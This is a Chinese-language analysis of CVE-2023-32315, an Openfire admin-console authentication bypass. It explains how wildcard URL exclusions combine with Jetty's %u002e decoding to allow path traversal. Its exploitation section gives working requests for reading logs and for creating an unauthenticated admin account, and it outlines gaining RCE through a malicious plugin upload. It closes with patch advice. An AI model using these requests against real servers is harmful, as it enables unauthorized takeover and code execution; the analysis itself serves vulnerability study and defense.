CVE-2023-32315 Openfire管理控制台认证绕过漏洞分析
漏洞简介
Openfire 是一个实时协作(RTC)服务器,编写于 Java,它使用唯一被广泛采用的即时通讯开放协议 XMPP,并提供 Web 管理界面。
Openfire 的 API 定义了一种机制,允许使用通配符实现灵活的 URL 模式匹配以将某些 URL 从 Web 认证中排除。并且由于 Openfire 使用到的 Web 服务器支持解析非标准的 UTF-16 字符 URL 编码变体,导致了路径遍历漏洞。通配符模式匹配与路径遍历漏洞的组合可以使攻击者绕过认证访问后台管理控制台,最终通过后台上传恶意插件能够实现远程代码执行,完全地控制服务器权限。
影响版本
=3.10.0, <4.6.8
=4.7.0, <4.7.5
漏洞分析
通配符模式匹配致使的鉴权绕过
Openfire 的 API 定义了一种机制,可以将某些 URL 从 Web 认证中排除,此机制允许使用通配符,以实现灵活的 URL 模式匹配。在存在漏洞的 4.7.4 版本中,xmppserver/src/main/webapp/WEB-INF/web.xml
配置文件的相关内容如下。
1 | <filter> |
这里的本意是,符合如上列表中的文件,如登录页面、首次安装页面、静态图片/CSS 文件等,请求它们,便排除在 Web 认证之外。
通过版本对比,可以发现在安全的 4.7.5 版本中,setup/index.jsp
和setup/setup-*
已经被删除了。
Openfire 的鉴权位于org.jivesoftware.admin.AuthCheckFilter
类中的doFilter
鉴权方法。
1 | public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { |
在其中,可以看到如下片段代码,对excludes
列表进行循环,执行testURLPassesExclude(url, exclude)
方法的判断,若testURLPassesExclude
返回 true,那么doExclude
的值也将为 true,循环将会 break,最终就能够成功实现鉴权绕过;否则当doExclude
为 false 时,便会跳转登录页面。
1 | // See if it's contained in the exclude list. If so, skip filter execution |
这能够表明,testURLPassesExclude
方法就是实现鉴权绕过的关键。
在对该方法做进一步分析前,先回顾一个十五年的漏洞。其实最早在 2008 年,v3.6.0 版本的 Openfire 就已经出现过一次路径遍历漏洞,漏洞编号是 CVE-2008-6508,该漏洞的 POC 如下。
1 | GET /setup/setup-/../../log.jsp |
官方在 v3.6.1 版本只考虑了对原始的..
进行了判断和过滤,这样修复的并不彻底,如下经过 URL 编码的..
的 payload 仍然能够进行绕过。
1 | echo "GET /setup/setup-/%2E%2E/%2E%2E/log.jsp?log=info&mode=asc&lines=All" | nc localhost 9090 |
于是官方在 v3.6.2 版本中又对%2e
的情况进行了判断和过滤。
1 | // v3.6.2 |
这一段代码延续至今,在十几年后的 4.7.4 版本中依然没发生变化,4.7.4 版本的testURLPassesExclude
方法内容如下,已省略部分无关代码。
1 | public static boolean testURLPassesExclude(String url, String exclude) { |
通过漏洞 Reporter 在 CVE-2023-32315 的 GitHub Security Advisory 中提供的 POC /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
,可以发现这个路径恰恰是符合excludes
列表中的setup/setup-*
的通配符匹配。当二者共同传入进testURLPassesExclude
方法中时,便能符合如上的几个判断,顺利返回 true 到doExclude
中,使doExclude
的值也为 true,最终便成功的绕过doExclude
的鉴权,顺利到达 Openfire 的 Jetty Web 服务器,由其继续处理。
Jetty“新特性”致使的路径遍历
在早期版本的 Openfire 中,当时内置的 Jetty Web 服务器不支持解析%u002e
这种编码,所以当时的安全补丁简单的过滤..
和%2e
,对于早期版本的 Openfire 是足够了的。
但是在之后版本的 Openfire 中,使用的 Jetty Web 服务器能够支持这种非标准的 UTF-16 字符 URL 编码变体,这种“新特性”导致原本的路径遍历漏洞又一次地出现在 Openfire 中,此处的“新”是相对而言。
Openfire v4.7.4 中的 Jetty 版本为 9.4.43.v20210629,请求路径的处理位于org.eclipse.jetty.http.HttpURI
类,跟进其中的parse
方法,来到它的末尾关键代码片段。
1 | else if (_path != null) |
这段代码会调用URIUtil.decodePath
方法进行解码,然后使用URIUtil.canonicalPath
对解码后的路径做规范化处理。
解码路径的方法位于org.eclipse.jetty.util.URIUtil#decodePath
,完整内容如下。
1 | public static String decodePath(String path, int offset, int length) { |
根据如上代码的逻辑,当传入%u002e
字符串到decodePath
方法时,它会对该字符串进行解码处理。
首先,方法进入循环,遍历字符串中的字符。
在循环中,遇到字符
%
,表示接下来的字符是需要解码的。方法检查接下来的字符是否为
u
。因为%u002e
中的u
是小写的,所以会执行以下代码块:1
2
3
4if (u == 'u') {
builder.append((char)(0xffff & parseInt(path, i + 2, 4, 16)));
i += 5;
}方法调用
TypeUtil.parseInt
方法解析四个字符002e
,并将解析结果作为一个字符添加到builder
中。这里的TypeUtil.parseInt
方法会将十六进制字符解析为对应的数值。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public static int parseInt(String s, int offset, int length, int base) throws NumberFormatException {
int value = 0;
if (length < 0)
length = s.length() - offset;
for (int i = 0; i < length; i++) {
char c = s.charAt(offset + i);
int digit = convertHexDigit((int) c);
if (digit < 0 || digit >= base)
throw new NumberFormatException(s.substring(offset, offset + length));
value = value * base + digit;
}
return value;
}解析结果为
.
的 Unicode 码点(0x002e)。(char)(0xffff & TypeUtil.parseInt(path, i + 2, 4, 16))
将 Unicode 码点强制转换为一个字符,并将其添加到builder
中。i += 5
用于跳过解码的字符,即%u002e
中的u002e
。
循环继续,因为已经处理完
%u002e
,下一个字符是正常字符.
。方法将
.
直接添加到builder
中。循环结束,根据
builder
的内容生成一个新的字符串,并将其返回。
当然,也可以运行看看实际的结果,创建一个新项目,并导入如下版本的 maven 依赖。
1 | <dependencies><!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-util --> |
然后编写如下代码。
1 | package org.jetty; |
首先URIUtil.decodePath
将/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
解码为/setup/setup-s/../../log.jsp
,接着URIUtil.canonicalPath
方法将该路径规范化处理成/log.jsp
。
1 | 2023-06-15 16:33:47.987:INFO::main: Logging initialized @272ms to org.eclipse.jetty.util.log.StdErrLog |
在维基百科的说法中,%uxxxx
这种形式的编码是一种非标准的 Unicode 字符编码方式,其中 xxxx 表示一个 UTF-16 代码单元,由四个十六进制数字表示。这种行为没有被任何 RFC 规范指定,并且被 W3C 拒绝。
漏洞利用
路径遍历
在一个未登录 Openfire 的浏览器中,通过如下请求路径,如果显示部分日志文件则表明存在漏洞,如果重定向到登录页面,则表明无漏洞。
1 | http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp |
未授权用户创建
创建一个账号和密码为 admin2/admin2 的管理员用户。
1 | GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=Jm6f0wY78QMP8jj&username=admin2&name=admin2&email=admin2%40example.com&password=admin2&passwordConfirm=admin2&isadmin=on&create=Create+User |
1 | 200 OK |
插件上传实现 RCE
登录如上创建的管理员用户,在后台添加恶意插件然后实现远程代码执行。恶意插件的实现可以是自己基于 Openfire 已有的插件进行二开,也可以使用如下恶意插件。
修复建议
目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:
https://github.com/igniterealtime/Openfire/releases
参考
- https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
- https://igniterealtime.atlassian.net/browse/OF-2595
- https://igniterealtime.atlassian.net/browse/JM-1489
- https://en.wikipedia.org/wiki/URL_encoding#Non-standard_implementations
- https://github.com/vulhub/openfire-fastpath-plugin